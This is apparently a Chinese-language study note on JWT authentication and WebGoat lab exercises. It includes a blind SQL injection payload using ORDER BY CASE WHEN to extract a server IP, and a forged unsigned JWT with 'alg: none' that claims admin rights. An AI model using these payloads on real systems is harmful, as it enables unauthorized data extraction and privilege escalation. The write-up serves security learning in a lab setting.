检测方法
只有服务器没有检测的情况才能攻击成功(CTF会有,现实几乎没有,什么人写代码会不进行服务器验证呢) 查看数据包有没有Authorization类型(它用来发送jwt) 查看数据包格式是不是JWT格式
起源
说起JWT,我们应该来谈一谈基于token的认证和传统的session认证的区别。
传统的session认证
我们知道,http协议本身是一种无状态的协议,而这就意味着如果用户向我们的应用提供了用户名和密码来进行用户认证,那么下一次请求时,用户还要再一次进行用户认证才行,因为根据http协议,我们并不能知道是哪个用户发出的请求,所以为了让我们的应用能识别是哪个用户发出的请求,我们只能在服务器存储一份用户登录的信息,这份登录信息会在响应时传递给浏览器,告诉其保存为cookie,以便下次请求时发送给我们的应用,这样我们的应用就能识别请求来自哪个用户了,这就是传统的基于session认证。 Session: 每个用户经过我们的应用认证之后,我们的应用都要在服务端做一次记录,以方便用户下次请求的鉴别,通常而言session都是保存在内存中,而随着认证用户的增多,服务端的开销会明显增大,因此出现了JWT。
JWT(Json web token)(JSON Web令牌)
Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。
JWT由三个部分组成 头部(header) (base64加密,里面存在签证的加密方法,但是没有密钥)
{
"姓名": "张三",
"角色": "管理员",
"到期时间": "2018年7月1日0点0分"
}
载荷(payload) (base64加密) 签证(signature) (头部保存的加密方法加密,加密解密都需要密钥,服务器才有密钥)(里面是将头部和载荷进行了加密,通过服务器将其解密,对比来保证安全) 因url编码会将base64最后的两个等号进行编码所以若存在==的话需要将其删除 样子为
头部.载荷.签证 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
传输方式
实例
复习一下SQL注入类
SQL注入类,需要复习一些知识,防火SQL注入的方式之一就是添加session,一般情况下session用户是无法修改的 Java语言中PreparedStatement用来预编译SQL语句,所以如果直接输入SQL语句进行注入是无法成功的,原因:PreparedStatement预编译后,所有输入的内容都会被当作对象,不会被执行
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1,accountNmae);
ResultSet results = statement.executeQuery();
不过这也仅仅添加防御,完全防御,在SQL语句中存在order by 的语句时就可以用来利用,通过使用case when语句可以将order by后的orderExpression表达式中添加select语句。 它会认为orderExpression内的语句是另一个需要执行的SQL语句
WEBGOAT sql注入
安装方法:docker pull webgoat/webgoat-8.0 打开:sudo docker run -d -p 8080:8080 webgoat/webgoat-8.0:latest 最后127.0.0.1:8080/WebGoat/login
打开位置
点击主机名进行抓包,在这里发现了get请求的column=hostname 在后面输入’ " 等等都不会报错,所有尝试case when类型=号后改为 (case%20when%20(false)%20then%20hostname%20else%20id%20end%20) 它显示了,有漏 先看正常语句
SELECT * FROM users ORDER BY (CASE WHEN (TRUE) THEN lastname ELSE firstname else id end)
报错信息里面有信息不要忘(hostname) select id, hostname, ip, mac, status, description from servers where status <> ‘out of order’ order by (case when (false) then hostname] 这里应该就是代码的语句,接着
编写payload 127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,1,1) from servers where hostname=‘webgoat-prd’)=1) then hostname else id end) column= (case%20when%20((select%20substring(ip,1,1)%20from%20servers%20where%20hostname=‘webgoat-prd’)=1)%20then%20hostname%20else%20id%20end)
IP就会出现了 过关手册:https://blog.csdn.net/u013553529/article/details/82765062
JWT安全
怎么下载打开我就不说了,跟上面一样 这是让投票,获取到管理员身份, 那就更换一下用户进行抓包,内容如下 看到Cookie的内容类型与JWT类型一样,那就解码吧,结果如下 看到这里,想法:改加密类型为none,时间戳为将来user改admin签证为空 试试看(前面两个加密类型为base64)
{
"alg": "none"
}
加密后
ewogICJhbGciOiAibm9uZSIKfQ==
{
"iat": 1651845541,
"admin": "true",
"user": "admin"
}
加密后
ewogICJpYXQiOiAxNjUxODQ1NTQxLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJhZG1pbiIKfQ==
整合(==要去掉,不然会被编码)
ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNjUxODQ1NTQxLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJhZG1pbiIKfQ.
接下来不知道为什么出错了,可能环境版本不对 基础内容上面已经全部说了
|